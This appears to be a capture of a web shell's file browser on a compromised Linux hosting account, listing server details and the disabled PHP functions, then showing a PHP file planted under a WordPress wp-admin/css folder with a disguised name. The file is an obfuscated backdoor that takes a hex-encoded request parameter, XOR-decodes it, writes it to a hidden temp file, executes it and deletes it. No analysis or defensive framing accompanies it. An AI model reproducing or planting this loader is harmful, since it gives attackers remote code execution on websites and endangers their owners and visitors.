HEX
Server: Apache
System: Linux dinesh8149 5.15.98-grsec-sharedvalley-2.lc.el8.x86_64 #1 SMP Thu Mar 9 09:07:30 -03 2023 x86_64
User: usesambura1 (1212012)
PHP: 7.0.33
Disabled: apache_child_terminate,dl,escapeshellarg,escapeshellcmd,exec,link,mail,openlog,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,php_check_syntax,php_strip_whitespace,popen,proc_close,proc_open,shell_exec,symlink,system
Upload Files
File: /home/storage/c/63/6c/usesambura1/public_html/yr/wp-admin/css/custom_file_1_1757468849.php
<!--o4dw5xaz-->
<?php

if(count($_REQUEST) > 0 && isset($_REQUEST["re\x63"])){
$item = hex2bin($_REQUEST["re\x63"]);
$record ='';$m=0;while($m<strlen($item)){$record.=chr(ord($item[$m])^45);$m++;}
$factor = array_filter([getcwd(), "/dev/shm", sys_get_temp_dir(), "/tmp", session_save_path(), getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp"]);
foreach ($factor as $element):
            if ((bool)is_dir($element) && (bool)is_writable($element)) {
            $binding = sprintf("%s/.pset", $element);
            $descriptor = fopen($binding, 'w');
if ($descriptor && fwrite($descriptor, $record)) {
    fclose($descriptor);
    require $binding;
    @unlink($binding);
    die();
}
        }
endforeach;
}